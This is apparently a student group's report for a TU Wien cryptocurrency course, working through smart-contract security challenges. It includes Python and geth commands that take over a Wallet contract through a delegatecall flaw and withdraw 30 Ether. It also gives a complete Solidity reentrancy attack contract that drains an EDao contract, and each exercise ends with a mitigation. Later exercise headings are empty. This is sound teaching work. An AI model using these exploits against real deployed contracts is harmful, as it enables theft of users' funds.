Cryptocurrencies (WS2021/22) Prof. Matteo Maffei

Project 2 – Smart Contracts

TU Wien

Group 04

Our group consists of the following members:

Tobias Eidelpes, Mehmet Ege Demirsoy, Nejra Komic
01527193, 01641187, 11719704

Exercise A: Bad Parity

For this challenge we were given two contracts: `Wallet` and `WalletLibrary`. The second contract is used by the `Wallet` contract to set the owner upon initialization, to get the current owner, to change the owner and to withdraw funds from the wallet. These functions are called from the `Wallet` contract through the use of the `delegatecall` function. In contrast to a regular `call`, `delegatecall` executes the function in the context of the *calling* smart contract. This means that if there happens to be a variable in both contracts with the same name and a function changes that variable, the *caller's* and not the *callee's* variable is changed. If insufficient care is exercised during programming, the semantics of `delegatecall` can have serious security implications, as in this case with `Wallet` and `WalletLibrary`.

The `fallback` function in `Wallet` is called when the smart contract receives a transaction with empty call data or call data which does not match any other function. The call data sent with the transaction is then passed to the `WalletLibrary` contract via `delegatecall`. The `WalletLibrary` contract has a function called `initWallet` which sets the owner of the contract to the given address. Usually this function would be called only upon initialization of the contract (in the constructor for example). We can call this function at any time by supplying the correct call data to the `fallback` function from the `Wallet` contract. Since the function is then called via `delegatecall`, the owner of the `Wallet` contract is changed to an address of our choosing.

To trigger the `initWallet` function, the call data must contain the signature of the function and all parameters. The function signature is the first four bytes of the keccak hash of the function name and the types of its parameters. Any parameters are added to the signature in a padded form. Creating the call data in python works as follows (where `address` is the address of the new owner):

```python
sig = w3.keccak(text='initWallet(address)')[:4].hex() + address[2:].rjust(64, '0')
# sig = 0x9da8be21000000000000000000000000f9ac06BAeb6597511C22Dc7b03DA447cA893fb4e
```

We can then send this call data to the contract (via the geth console):

```
eth.sendTransaction({
  from: student,
  to: badparityAddress,
  data: "0x9da8be21000000000000000000000000f9ac06BAeb6597511C22Dc7b03DA447cA893fb4e",
  gas: "80000"
});
```

The owner of the `Wallet` contract is now our own address. Since we are the owner, we can call the `withdraw` function from the `Wallet` contract:

```
sig = w3.keccak(text='withdraw(uint256)')[:4].hex() + hex(30000000000000000000)[2:].rjust(64,
↪  '0')
# sig = 0x2e1a7d4d000000000000000000000000000000000000000000000001a055690d9db80000
eth.sendTransaction({
  from: student,
  to: badparityAddress,
  data: "0x2e1a7d4d000000000000000000000000000000000000000000000001a055690d9db80000",
  gas: "80000"
});
```

Our own balance has increased by 30 Ether.

To mitigate this vulnerability the contract should use `call` instead of `delegatecall`.

Exercise B: DAO Down

In this challenge we were given one contract called `EDao`. It allows investors to fund addresses and those addresses can then withdraw the funding they received. There is a bug in the `withdraw` function, however, which allows an already funded address to withdraw more than it should be able to. If the funded address is a contract address, the contract can exploit the `withdraw` function by repeatedly withdrawing their funding. This is possible because the internal balance of how much funds an address can withdraw is only changed *after* the funding is paid out to the receiver. For this to work, a malicious contract has to have a `fallback` function which calls the `withdraw` function again. When the `fallback` function is called, the code execution recurses into the `withdraw` function and passes all balance checks because the balance has not yet been changed. The payout proceeds a second time and the `fallback` function is called again until the balance of the `EDao` contract is zero. This type of attack is called a *reentrancy attack*.

In practice the following contract (or a variation thereof) has to be deployed to the blockchain and the address of the deployed contract has to be funded with one Ether in the `EDao` contract:

```
pragma solidity ^0.8.0;

contract Hacker {
    address public owner;
    address public challengeAddress;

    modifier onlyOwner() {
        require(msg.sender == owner, "Caller is not owner");
        _;
    }

    constructor (address _challengeAddress) {
        owner = msg.sender;
        challengeAddress = _challengeAddress;
    }

    function pwn() public {
        (bool success, ) = challengeAddress.call(
            abi.encodeWithSignature("withdraw(address,uint256)", address(this), 1 ether)
        );

        if (!success) revert();
    }

    function withdraw() external onlyOwner {
        selfdestruct(payable(owner));
    }

    fallback() external payable {
        if (challengeAddress.balance >= 1 ether) pwn();
    }
}
```

An attacker can manually call the contract's `pwn` function and execute the exploit. The malicious contract has successfully siphoned off `EDao`'s balance. Finally, the attacker calls the `withdraw` function of the malicious contract and the balance is transferred to the attacker.

Mitigating reentrancy attacks is commonly done through two means. Either the contract performs changes to its state *before* executing the call or functions which perform calls to external addresses are wrapped in a modifier with mutex-like functionality. In the former approach a malicious contract will not be able to execute the call to its own `fallback` function an additional time because the balance checks fail. In the latter approach a boolean variable is set to `true` when the function is executing the first time. Before the function can be executed a second time, the contract checks whether the variable is set to `true`. If it is, the transaction is aborted.

Exercise C: Fail Dice

Exercise D: Not A Wallet

Work distribution